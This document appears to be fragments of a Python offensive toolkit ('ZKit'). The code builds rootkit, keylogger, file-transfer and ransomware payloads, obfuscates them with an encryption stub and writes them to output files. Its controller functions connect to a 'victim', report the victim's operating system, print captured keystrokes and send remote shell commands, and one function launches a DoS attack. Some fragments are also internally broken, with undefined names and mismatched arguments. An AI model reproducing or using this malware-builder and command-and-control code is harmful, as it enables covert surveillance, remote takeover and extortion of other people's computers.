def get_info(self): "Gets info from user" print("What Is The Victims PayLoad ?\n" f"{self.red}{{1}}--> Rootkit\n" f"{self.blue}{{2}}--> File Transfer (ft)\n" f"{self.green}{{3}}--> KeyLogger\n" f"{self.red}{{4}}--> Ransomware\n" f"{self.blue}{{000}}--> Back To Main Menu\n" + self.reset) choice = str(input("..> ")) if choice in ("1", "2", "3", "4"): print( "At The Time Of Creation Of Payload . ZKit Asked About A Connection Type " "What Was It ?\n" + self.red + "{1}--> TCP\n" + self.green + "{2}--> UDP\n" + self.reset) conn = str(input("..> ")) conn = conns[conn] notify( "question", "what port did you used ? left empty to use default (1534)") port = int(input("..> ")) if port == "-1": port = 1534 type_ = self._get_type(choice) return (conn, port, type_) notify("notify", "Invalid Input {" + "{}".format(choice) + "}")
def create_file(file: str, ext = ".pyw"): """ Creates A New file if a file is on the given path if exists asks for overwrite permission if yes clears file data then closes it if no asks for another file path Arguments: file (str) : Path to File to create if exists asks for overwriting permission Returns A Path if file created returns file path if not returns asked file path or returns none if got wrong answer at the YES or NO overwrite permission ask """ try: _open(file + ext) except FileExistsError: notify( "problem", "Creating File...Failed \n" + "File Already Exists Confirm Overwrite (N or Y) : ", "", True ) while True: choice = str(input("")).upper() if choice == "Y": break elif choice == "N": file = os.path.dirname( file) + "/" + str(input("Write Down new file name here : ")) + ext else: notify("problem", "\nInvalid Input Try Again") else: print("Done") return file
def write_file(file, data: str): if file.writable(): file.write(data) else: notify('problem', "The file is not writable please try again . " "if the problem presists please report it") file.close()
def encrypt_it(payload, b, lan) -> str: enc = ask_for("Which Encryption Method Would You Like To Use" + "Press Enter and left it empty for choosing randomly.\n" + "{1} --> Base85 (ruby base64)\n{2} --> Rot42", "Using \\| As Encryption Method") notify("notify", "Encrypting Data Before Writing On File...", "") DECODE_STUB, payload = _encrypt(payload, enc, lan) print("Done") return DECODE_STUB.format(payload, b=b)
def open_file(path: str): notify("notify", "Opening File To Write Data On It...", "") try: file = open(path, "w+") except Exception: # pylint: disable=W0703; # noqa notify( "problem", "Opening File To Write Data On It...Failed \n Cannnot Open File", "\n", True) return else: print("Done") return file
def execute(self, choice): if choice in PAYLOAD_CHOICES: self._execute_payload_related(choice) elif choice == "4": dos.Main() elif choice == "5": ctrler.Main() elif choice == "6": list_payloads_helper() elif choice is not None: notify( "problem", f"Invalid Input '{choice}'")
def __init__(self, root: str): "generates payloads with given root" from ui_core.fileop import create_file, open_file, write_file self.root = root self.pg = PayloadGenerator(self.root) self.get_fields() self.get_info() self.get_payload() self.lan = self.pg.get_language() self.payload = encrypt_it(self.payload, chr(random.randint(65, 122))) self.ext = LANG_EXT.get(self.lan, '') self.path = create_file(path + "/Output/Builded/" + self.path, self.ext) f = open_file(self.path) write_file(f, self.payload) notify('report', "Operaion Was Successful")
def __init__(self, conn_type, port): notify("notify", "Making Connection", "") try: self.get_socket(conn_type) self.make_the_connection() connected = True while connected: result = self.conn.recv(1024) if result == "->|": print( "Operation was succesful . Payload will self destruct") else: print(result) except: connected = False notify( "problem", "Connection Failed.Victim Might Be Offline Try Again Later")
def __init__(self, conn_type, port): notify("notify", "Making Connection", "") try: self.get_socket(conn_type) self.make_the_connection() os = self.conn.recv(1024).decode('UTF-8') print(f"Victim is using {os}") notify("report", "Got Platfrom from victim", flush=True) connected = True while connected: key = self.conn.recv(1024) print("{} Pressed : {} ".format(self.address, key)) except: connected = False notify( "problem", "Connection Failed.Victim Might Be Offline Try Again Later")
def __init__(self, conn_type, port, type_): notify("notify", "Making Connection", "") try: self.get_socket(conn_type) self.make_the_connection() os = self.conn.recv(1024).decode('UTF-8') print(f"Victim is using {os}") notify("report", "Got Platfrom from victim", flush=True) connected = True while connected: print("{}@{} : ".format(Address, os), end='') command = str(input("")) self.conn.send(command.encode("UTF-8")) self.show_the_result() except: connected = False notify("problem", "self.conn Failed.Victim Might Be Offline Try Again Later")
def run(choice, info): 'Runs a dos attack' try: dos_dict[choice](*info) except (EOFError, KeyboardInterrupt): notify("report", "User Requested An Exit.")
def _open(file): notify("notify", "Creating File...", "") _ = open(file, "x").close()